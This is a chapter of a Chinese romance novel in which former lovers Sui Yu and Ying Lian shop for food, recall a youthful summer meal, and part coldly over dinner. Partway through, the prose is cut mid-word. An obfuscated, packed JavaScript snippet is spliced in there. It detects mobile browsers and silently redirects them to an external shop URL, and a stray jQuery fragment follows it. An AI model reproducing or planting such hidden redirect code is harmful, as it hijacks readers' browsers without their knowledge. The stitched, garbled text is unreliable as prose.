“就今天吧，时间还早，”隋雨看了眼应涟手里提着的菜，“我一起把菜做了，吃完把你送到医院去。”
在他们那一段不长不短的恋爱里，即便他也只是二十出头的年纪，却也总是承担着照顾她的角色。
应涟下意识地“哦”完之后，惊叹习惯真是一种很可怕的存在。她养成了这样被他照顾的坏习惯，哪怕撇下许久，却也还是熟稔地应答。
隋雨拿好找零，顺手接过应涟手里的塑料袋，“走吧。”
应涟回过神来，“说了是要我请你。”
“没事，你出菜钱了。”
他并肩同她站着，两人保持着友好的距离往外走。两旁摊位的鱼儿很活跃，蹦跶出水面，尾巴重重拍打溅出水花，他眼疾手快，把她往里护了一护。
男人偏高体温和有力肌肉的触感，使得应涟身子一僵，隋雨立刻放开，“抱歉。”
菜场湿漉，混着潮湿的腥味往她鼻孔里钻。应涟加快步子，心脏猛烈地跳。
隋雨叫住应涟，“那个，小……应涟，车在右边。”
她止住步子，回头看他一眼，找着蹩脚的借口，“我再去买点别的，等会走回去，到点我过来。”
但应涟实在是个很不会说谎的人，找理由时的表情僵硬极了，隋雨知道她是不想跟自己呆在小的空间里，今天答应同他一块儿吃晚饭已经是难得，再强求额外同车一路，未免太为难。
隋雨表示理解，“好，等会我不关车厂门，直接进来就行。”
应涟胡乱“嗯嗯”两声，正打算走，却又听到他说：“要是来得早，可以去跟药药玩会儿，或者去办公室吹空调，猪猪弟弟今天也还没有喂食。”
她半回过头去望了他一眼，恍惚觉得他眼里有温情。
他看向她的目光对她说的话，给她一种错觉，他非常非常想和自己说很多话的错觉。但她很快又想到了昨天，他和卫萱带着隋晓天去逛街的背影。
这人又在假装深情了吧，以为自己会信么？
应涟的脸色忽然就冷下来，话里带刺，“吃你顿饭而已，还要额外附赠服务么。”
“行，看你自己，”他到底年长她两岁，吃多两年米，情绪稳定多了。
但回去路上，难免纳闷，不晓得自己又哪里惹到她了，难不成是因为自己刚刚碰了她一下。
那要是不把她护住，那沾了鱼腥味的水不就泼她身上了？她那么讲究一个人，肯定会抓狂。
好心当成驴肝肺。
高三夏天的末尾，应涟启程回北城之前，他睡不着，琢磨好半天，兴高采烈地说要给她做一顿饭吃吃。彼时玩乐心态居多，心思根本不在做一顿饭本身，而是像过家家一样好奇成家之后的状态。
她原本是对这提议相当感兴趣，甚至特意拿了个本子，工工整整地写下菜单：红烧鱼，小炒肉和醋溜白菜。写完这还嫌不够，上网查了菜谱，还把花椒少许，酱油两勺等细枝末节也补上，煞有介事地贴在车厂厨房的冰箱上。
谁知看到水槽里活蹦乱跳的鱼时，应涟吓得后退了两步，捏着鼻子站在门口，和手忙脚乱处理鱼的自己有一搭没一搭地说话，以显示陪伴。
“我发现一首歌旋律还行。”
“放来听听。”
她拔掉walkman的耳机线，外放，粗糙的音质混着嘈杂的电流声，充满整个小厨房。
他硬着头皮学着大人模样刮鱼鳞，鱼腥气往他鼻子里钻，夏天汗水顺着额头往下，啪嗒啪嗒滴在水池边上。他昂起头呼吸新鲜空气，不经意回头看着她，女孩穿着简单的白色短袖，牛仔短裤和人字拖，懒洋洋地靠在门框上。
午后逆光勾勒出她瘦削的身形。
真好看。
这是他媳妇儿，他要给她做很多顿饭吃，就算她去别的地方上大学也没关系，他长了腿，天涯海角都可以跟过去。
他当时心里就这想法。很简单，很幼稚，轻狂的爱意塞满了胸膛。
于是又甘之如饴地背过身去干活，正这样想着，脚步声渐远又渐近，接着温热的风吹拂他的后背，她从他的卧室里搬了风扇过来，搁在圆桌上，塑料扇叶有些松动，发出“咔咔”的声音。
他说：“别光对着我吹。”
她依旧走到门口去倚着，“外面儿有风。”
他执意地半偏过头：“那也对着你吹。”
她机灵地笑笑，摁了摆头键，“这下可以了吧。”
他这会儿更加喜欢她了，其实她也没做太多。
她单曲循环着一首歌。这歌旋律是挺好听的，歌词却有点不合时宜。“总以为，爱是全部的心跳，失去爱我们就要，就要，一点点慢慢地死掉……”
那时他说：“这是磁带我们在桥洞下面的小摊儿淘的那张？”
她“嗯”了一声，“怎么？”
“是不是盗版的？好像有杂音。”
“能听就行。”
“那不行，得给你买好的，不然把耳朵听坏了。”
“听坏了就听坏了。”
“那不行。”
“怎么不行？”
“那我在街上扯着嗓子喊‘我爱你’的时候你别生气。”
“隋雨！”
“怎么？”
“杀你的鱼！！”
……
那顿饭做了很久，消磨了整个无所事事的午后，印象里也算不上有多好吃，她倒是给面子，小口小口地竟然也吃完。饭后不过五点半，他系着围裙洗碗，桂花树被夏末依旧猛烈的骄阳攻击，晒枯萎的桂花落到窗台。
他忽然发觉夏天就要过去了，回过头去发现她单手托腮，正在看自己。
二十岁的男生有点矫情，有话直说，“去北城不准忘了我。”
她愣了愣，旋即表情像小狗发怒，“怎么会？”
红灯路口，隋雨看了眼后视镜，发觉自己眼尾有了一丝皱纹，淡淡的，不深，但无法忽视。他惊觉时间闪过，快得可怕，认识她的时候刚过完二十岁生日，如今已经二十八了。
不知道怎么的，他总觉得再吃完这顿饭他们就要彻底拜拜了。这顿饭美其名曰“感谢你”，实际上就是迟到的分手饭。
那个时候要吃了这顿饭，不，都用不上吃饭，发一条短信，对视一眼，怎么样都会和好，他只会比往常抱她抱得更紧，难得一现的理智让他和她一刀两断，那么现在呢？
时间抚平了一切，把他们变成成熟而无聊的大人。那种非你不可，不许忘记我，这样幼稚的话再也说不出口了。
叹了口气，提菜上楼。路过隋晓天房间，发现那把大大的笨锁没再挂上了。隋晓天挺像应涟小时候，脾气大得很，但又特别好哄。
男人从木门背后拿下围裙，胡乱松垮地系在身后，翻了翻塑料袋里的食材，脑海里快速琢磨出个菜单。
应涟的塑料袋里有一块瘦肉，一把菜心，一兜子平菇。他的袋子里则是毛豆，卤菜和一扇排骨。
隋雨考虑事情很周到，主要得就阿婆的口味，生着病的人不能吃太重口味。于是打算做菜心炒平菇，红烧排骨，青椒炒卤菜，毛豆肉末汤。
他也不常做饭，刀工算不上细致，但很麻利，三两下备好菜，清洗干净分到不锈钢盘子里，热热锅就开始炒。
应涟其实根本没别的事，菜场到车厂，一条直线，她边走边磨蹭，这里看那里看，生怕自己去早了呆在车厂里像个尴尬的呆瓜。走到车厂楼下时，已经能听到排风机的嗡嗡声，闻到飘出来的饭菜香味。看来是差不多时间了啊，她转身又去了趟超市，买了一个保
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17964971|214459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
温桶。
等再过来，隋雨正倚在二楼的栏杆上抽烟。似乎是刻意在等她，她刚走到巷口，就被他叫住了。
“可以吃饭了，”他扔掉香烟，踩灭，“你别上楼了，我端到院子里。”
应涟落座时，明显有些拘谨和不自在，处在防备状态一般。她的碗筷都是从前的，配套的白色瓷碗和瓷勺，釉下彩图案是蓝色雨滴和涟漪。
只是他们曾经做饭玩时买的碗筷，完完好好地保留着，干净如新。但她看到这又不免去乱想，会不会别人已经用过了……？
隋雨洗好保温桶，把阿婆的饭菜留出来，“你先吃，尝尝味道怎么样。”
应涟她一口也吃不下。
隋雨忍着笑，往保温桶里装排骨，“什么表情，是是来感谢我还是来寻仇？”话毕，往她碗里夹了一块小排。
她拿筷子拨拉两下，“我不爱吃这些。”
男人也不恼，情绪稳定，“是么，以前明明爱吃的。口味变了？爱吃什么下次跟我说，我去学学。”
“不必，”应涟夹起排骨往嘴里送，味道其实不差，“不会有下次。”
盖好保温桶，隋雨不和他计较坐下，吃饭。
他吃饭很快，但刻意想各种方法放慢速度，给她盛汤，晾凉；给她拿小瓷盘子吐骨头，来来回回。
应涟了然，“七点得到医院，你别折腾了。”
隋雨倒也自在，“哦，我吃饭快，不拖你时间。”
又装作不经意地问出自己最关切的问题：“这次回来多久，怎么想到去找工作了。”
“缺钱，”应涟不多解释，“房子装完，把阿婆安顿下来就走。”
“工作不顺利么？怎么会缺钱？”
他以为她签了公司，组了乐队，出了唱片，路会好走。虽然那些积压的唱片都堆在他的小储物间里。
“对，打算打官司，”应涟云淡风轻，仿佛叙述一件无关痛痒的事。
“打官司？怎么回到打官司的程度？”隋雨语气反倒比她急，“律师什么的，找好了么？需不需要我帮……”
“你能帮什么忙，”应涟嘴角一弯，“怎么着也不需要你来帮。”
这话把隋雨噎住了，这丫头不是来道谢和解的么，怎么讲着讲着火气又燎旺了。
他说：“多少先了解了解。”
应涟打断他，挑衅地问：“你以什么身份？朋友？邻居？还是前任？”
还不等隋雨开口，她冷冷地说：“不需要你再帮忙，今天这顿饭就当我们之间的一个结束。”
认识隋雨的人都知道，他挺能贫，和谁都能聊得起来。但此时此刻他的语言系统竟完全失效，脑海里不由自主地响起那首很久很久和她一起听过的旋律。
“总以为，爱是全部的心跳，失去爱我们就要，就要，一点点慢慢地死掉……”
他被她发了最后通牒。
他说：“应涟，别这样。”
“是你先这样的，”她站起身，像往日一般把自己的碗筷收进水池，“断干净断彻底，才算分手。我谢谢你这几年照顾我阿婆，但以后真的不需要。”
“还想知道什么？一并告诉你，二十六岁一事无成，签了个跑路公司，存款一分没有，混到最后地下室也住不起，这年头回个芦城还要坐硬座，我就这么像一摊垃圾一样活着，最后应该也是像一摊垃圾一样很快就死，至于你的生活你的心路历程，我不想知道。”
隋雨正欲解释，阿婆的电话打过来，说是有朋友来看望，打算推着轮椅带她出去下馆子。挂掉电话应涟没再往回迈步，只是回过头来对他说，“我们不用过去了。”
话毕她愣了愣，因着她说的是“我们”。
但她不打算拘泥于这些细节，“以后别再联系。”